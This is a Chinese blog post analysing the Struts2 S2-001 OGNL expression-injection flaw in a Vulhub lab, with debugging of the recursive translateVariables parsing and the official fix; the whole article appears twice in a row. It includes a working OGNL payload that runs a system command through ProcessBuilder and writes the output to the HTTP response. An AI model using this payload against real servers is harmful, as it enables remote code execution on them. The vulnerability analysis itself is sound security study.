Struct2 S2-001漏洞分析
Ebounce
撰写于 2020年 06月 01 日

Struct2 S2-001漏洞分析

前言

最近总算是入了Java安全的门了,说到Java的漏洞Spring,Weblogic,JBoss,Struct2,FastJson等基本都是绕不过去的坎,这次我们试着来分析一下Struct2的第一个洞,虽然有些年代感了,但还是比较经典的。网上大部分都是Poc很少有人分析这个漏洞的成因,所以这次我们来试试。
<!--more-->

环境搭建

使用漏洞环境为:Vulhub/struct2/s2-001/

jdk版本: 1.7.0_80

tomcat版本: 8.5.55

P神的环境里面只有一个war包,但作为漏洞分析我们肯定少不了调试的,百度了一下,基本没有给出一个war包直接导出项目的办法,所以我们将war包中的源码解压出来,在idea重新创建一个Struct2项目,将源码搬过去。当然.class是不能直接搬过去的,因为是那个Java编译好的代码,所以我们使用idea的反编译,将反编译的源码带出即可,然后其他的.xml之类的基本可以粘贴复制了,不过需要注意的是lib包也要带出。

项目创建就直接:

然后一路next下来即可,中间一些项目名之类的不需要多说了。

然后把war包中的内容搬过来,还需要注意的是需要在项目结构中把库设置好:

这里设置成自己lib的路径即可,不过好像需要放在web目录下

最终项目结构如下:

简单POC:

%{7*7}

命令执行:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

具体怎么来的相信看payload,就能知道大概了,主要是Ognl支持创建变量,只是标识符为#

效果图:

这就完成一次简单的复现了,但重点是我们要明白漏洞成因,从这个简单POC并且有研究过ssrf,spel注入的同学,一定有点想法了。没错又双叒叕是动态渲染的锅,这里应该还是某种类型的表达式经过渲染,导致的代码执行。这里的漏洞成因,借用原项目的概述:

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

漏洞分析

首先从漏洞概述可以看出是参数如何处理的问题,先看登录控制器LoginAction.class

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public LoginAction() {
    }

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if (!this.username.isEmpty() && !this.password.isEmpty()) {
            return this.username.equalsIgnoreCase("admin") && this.password.equals("admin") ? "success" : "error";
        } else {
            return "error";
        }
    }
}

由于这里我们是在PassWord注入的payload,所以我们在getPassword处打上断点,当jsp调用getPassword方法来获得密码框的值时,观察整体函数栈:

首先我们需要了解Struct2里面是使用拦截器机制来处理请求:

参考文章:Struct2 拦截器

借用里面的图:

简单来说就是Struct2接受到了页面请求之后,会交给StrcutsActionProxy进行代理,然后这个代理类会分发给DefaultActionInvocation进行具体处理,从函数栈来看是这样的:

这个时候只是获得用户输入参数,还没有进行jsp的渲染,然后:

这里说生成Request对象可能并不准确,但是可以这样理解。

然后继续看函数栈,随后在解析好对应的jsp标签之后,会生成对应的Ognl表达式,所以后面会出现使用Ognl类的情况

最开始由于我们在jsp中使用了模板渲染,因此头两个函数是解析到了模板语法的闭合,来分析值的问题,从evaluateParams函数开始就是重头戏了,首先evaluateParams会生成Ognl表达式:

这里由于jsp中的标签为:

<s:textfield name="password" label="password" />

自然需要找到的是password的值,而寻找的方式是通过Ognl表达式寻找,我们会发现这里expr = "%{+name+}";使用拼接的方式生成Ongl表达式,最后通过这个表达式去寻找对应的值,接着进入下一个translateVariables:

    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;

        while (true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;

            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                    o = evaluator.evaluate(o);
                }
                

                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }

                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }

                    expression = left + o + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
            } else {
                break;
            }
        }

        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }

这里我们注意到了启动了一个死循环,他具体的作用就是解析Ogrl表达式,然后调用Object o = stack.findValue(var, asType);去找到对应的值,还记得我们之前看拦截器对象时候的情况吗?我们传入的值被塞入一个Stack里,因此这里我们会看到通过stack去找值:

这里首先通过password参数,找到了password对应参数为%{7*7},然后又会解析一次,从而导致去寻找7*7的值,这个时候循环并未结束,注意循环进行的条件:

if ((start != -1) && (end != -1) && (count == 0)) {
    /*
     * 进行查值并将结果重新赋值给result
     * 进行下一次循环校验result格式,依然为Ongl表达式
     * 进行下一次查值,直到结果不是Ongl表达式,即if不满足
     */
}else{
    break;
}

从而这里实际上是实现的递归解析,所以这里自然可以注入恶意的Ognl表达式了。

最后通过反射的invoke方法进行返回,具体解析是通过OgnlUtil.getValue进行的,实际上这个类最后调用的是抽象类Ognl中的getValue,具体实现细节就不去纠结了,总之最后调用:

动态解析得出值,最后返回给模板,然后又一次进行拦截器的相关操作,返回一个Respose对象。

有关修复

我们来看看官方是如何修复这个问题的:

第一个地方,增加了递归深度的限制:

给定了一个最大递归深度,默认为1,而进行分析时,每进行一次循环将递归次数计数器加一,从而当进行第二次递归时,由于已经超过了最大递归深度了,所以退出。

第二个地方防止了用户输入的解析:

以前是直接使用对象进行递归,因为如果这里被注入了命令执行的代码,那么代码返回的一定是一个对象,现在会将对象先转化成为字符串进行递归了,让命令执行的代码对象因无法被转化成字符串而自动退出,从而杜绝了因为对象取值,所引起的动态解析问题。

最后总结一下,这个漏洞的触发点实际在于Struct2将用户错误输入返回原页面,在传递值的过程中进行递归动态解析,不会返回到一个错误界面,而并非校验错误,因为常用的校验类Validation,在实际调试的过程中没有抛出任何错误。,其次函数栈是个非常好的分析方法,只是要下对断点....
参考文章:

【Struts2-命令-代码执行漏洞分析系列】S2-001

Struct2 拦截器

Struct2 S2-001漏洞分析

Struct2 S2-001漏洞分析

前言

最近总算是入了Java安全的门了,说到Java的漏洞Spring,Weblogic,JBoss,Struct2,FastJson等基本都是绕不过去的坎,这次我们试着来分析一下Struct2的第一个洞,虽然有些年代感了,但还是比较经典的。网上大部分都是Poc很少有人分析这个漏洞的成因,所以这次我们来试试。
<!--more-->

环境搭建

使用漏洞环境为:Vulhub/struct2/s2-001/

jdk版本: 1.7.0_80

tomcat版本: 8.5.55

P神的环境里面只有一个war包,但作为漏洞分析我们肯定少不了调试的,百度了一下,基本没有给出一个war包直接导出项目的办法,所以我们将war包中的源码解压出来,在idea重新创建一个Struct2项目,将源码搬过去。当然.class是不能直接搬过去的,因为是那个Java编译好的代码,所以我们使用idea的反编译,将反编译的源码带出即可,然后其他的.xml之类的基本可以粘贴复制了,不过需要注意的是lib包也要带出。

项目创建就直接:

然后一路next下来即可,中间一些项目名之类的不需要多说了。

然后把war包中的内容搬过来,还需要注意的是需要在项目结构中把库设置好:

这里设置成自己lib的路径即可,不过好像需要放在web目录下

最终项目结构如下:

简单POC:

%{7*7}

命令执行:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

具体怎么来的相信看payload,就能知道大概了,主要是Ognl支持创建变量,只是标识符为#

效果图:

这就完成一次简单的复现了,但重点是我们要明白漏洞成因,从这个简单POC并且有研究过ssrf,spel注入的同学,一定有点想法了。没错又双叒叕是动态渲染的锅,这里应该还是某种类型的表达式经过渲染,导致的代码执行。这里的漏洞成因,借用原项目的概述:

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

漏洞分析

首先从漏洞概述可以看出是参数如何处理的问题,先看登录控制器LoginAction.class

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public LoginAction() {
    }

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if (!this.username.isEmpty() && !this.password.isEmpty()) {
            return this.username.equalsIgnoreCase("admin") && this.password.equals("admin") ? "success" : "error";
        } else {
            return "error";
        }
    }
}

由于这里我们是在PassWord注入的payload,所以我们在getPassword处打上断点,当jsp调用getPassword方法来获得密码框的值时,观察整体函数栈:

首先我们需要了解Struct2里面是使用拦截器机制来处理请求:

参考文章:Struct2 拦截器

借用里面的图:

简单来说就是Struct2接受到了页面请求之后,会交给StrcutsActionProxy进行代理,然后这个代理类会分发给DefaultActionInvocation进行具体处理,从函数栈来看是这样的:

这个时候只是获得用户输入参数,还没有进行jsp的渲染,然后:

这里说生成Request对象可能并不准确,但是可以这样理解。

然后继续看函数栈,随后在解析好对应的jsp标签之后,会生成对应的Ognl表达式,所以后面会出现使用Ognl类的情况

最开始由于我们在jsp中使用了模板渲染,因此头两个函数是解析到了模板语法的闭合,来分析值的问题,从evaluateParams函数开始就是重头戏了,首先evaluateParams会生成Ognl表达式:

这里由于jsp中的标签为:

<s:textfield name="password" label="password" />

自然需要找到的是password的值,而寻找的方式是通过Ognl表达式寻找,我们会发现这里expr = "%{+name+}";使用拼接的方式生成Ongl表达式,最后通过这个表达式去寻找对应的值,接着进入下一个translateVariables:

    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;

        while (true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;

            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                    o = evaluator.evaluate(o);
                }
                

                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }

                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }

                    expression = left + o + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
            } else {
                break;
            }
        }

        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }

这里我们注意到了启动了一个死循环,他具体的作用就是解析Ogrl表达式,然后调用Object o = stack.findValue(var, asType);去找到对应的值,还记得我们之前看拦截器对象时候的情况吗?我们传入的值被塞入一个Stack里,因此这里我们会看到通过stack去找值:

这里首先通过password参数,找到了password对应参数为%{7*7},然后又会解析一次,从而导致去寻找7*7的值,这个时候循环并未结束,注意循环进行的条件:

if ((start != -1) && (end != -1) && (count == 0)) {
    /*
     * 进行查值并将结果重新赋值给result
     * 进行下一次循环校验result格式,依然为Ongl表达式
     * 进行下一次查值,直到结果不是Ongl表达式,即if不满足
     */
}else{
    break;
}

从而这里实际上是实现的递归解析,所以这里自然可以注入恶意的Ognl表达式了。

最后通过反射的invoke方法进行返回,具体解析是通过OgnlUtil.getValue进行的,实际上这个类最后调用的是抽象类Ognl中的getValue,具体实现细节就不去纠结了,总之最后调用:

动态解析得出值,最后返回给模板,然后又一次进行拦截器的相关操作,返回一个Respose对象。

有关修复

我们来看看官方是如何修复这个问题的:

第一个地方,增加了递归深度的限制:

给定了一个最大递归深度,默认为1,而进行分析时,每进行一次循环将递归次数计数器加一,从而当进行第二次递归时,由于已经超过了最大递归深度了,所以退出。

第二个地方防止了用户输入的解析:

以前是直接使用对象进行递归,因为如果这里被注入了命令执行的代码,那么代码返回的一定是一个对象,现在会将对象先转化成为字符串进行递归了,让命令执行的代码对象因无法被转化成字符串而自动退出,从而杜绝了因为对象取值,所引起的动态解析问题。

最后总结一下,这个漏洞的触发点实际在于Struct2将用户错误输入返回原页面,在传递值的过程中进行递归动态解析,不会返回到一个错误界面,而并非校验错误,因为常用的校验类Validation,在实际调试的过程中没有抛出任何错误。,其次函数栈是个非常好的分析方法,只是要下对断点....
参考文章:

【Struts2-命令-代码执行漏洞分析系列】S2-001

Struct2 拦截器

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论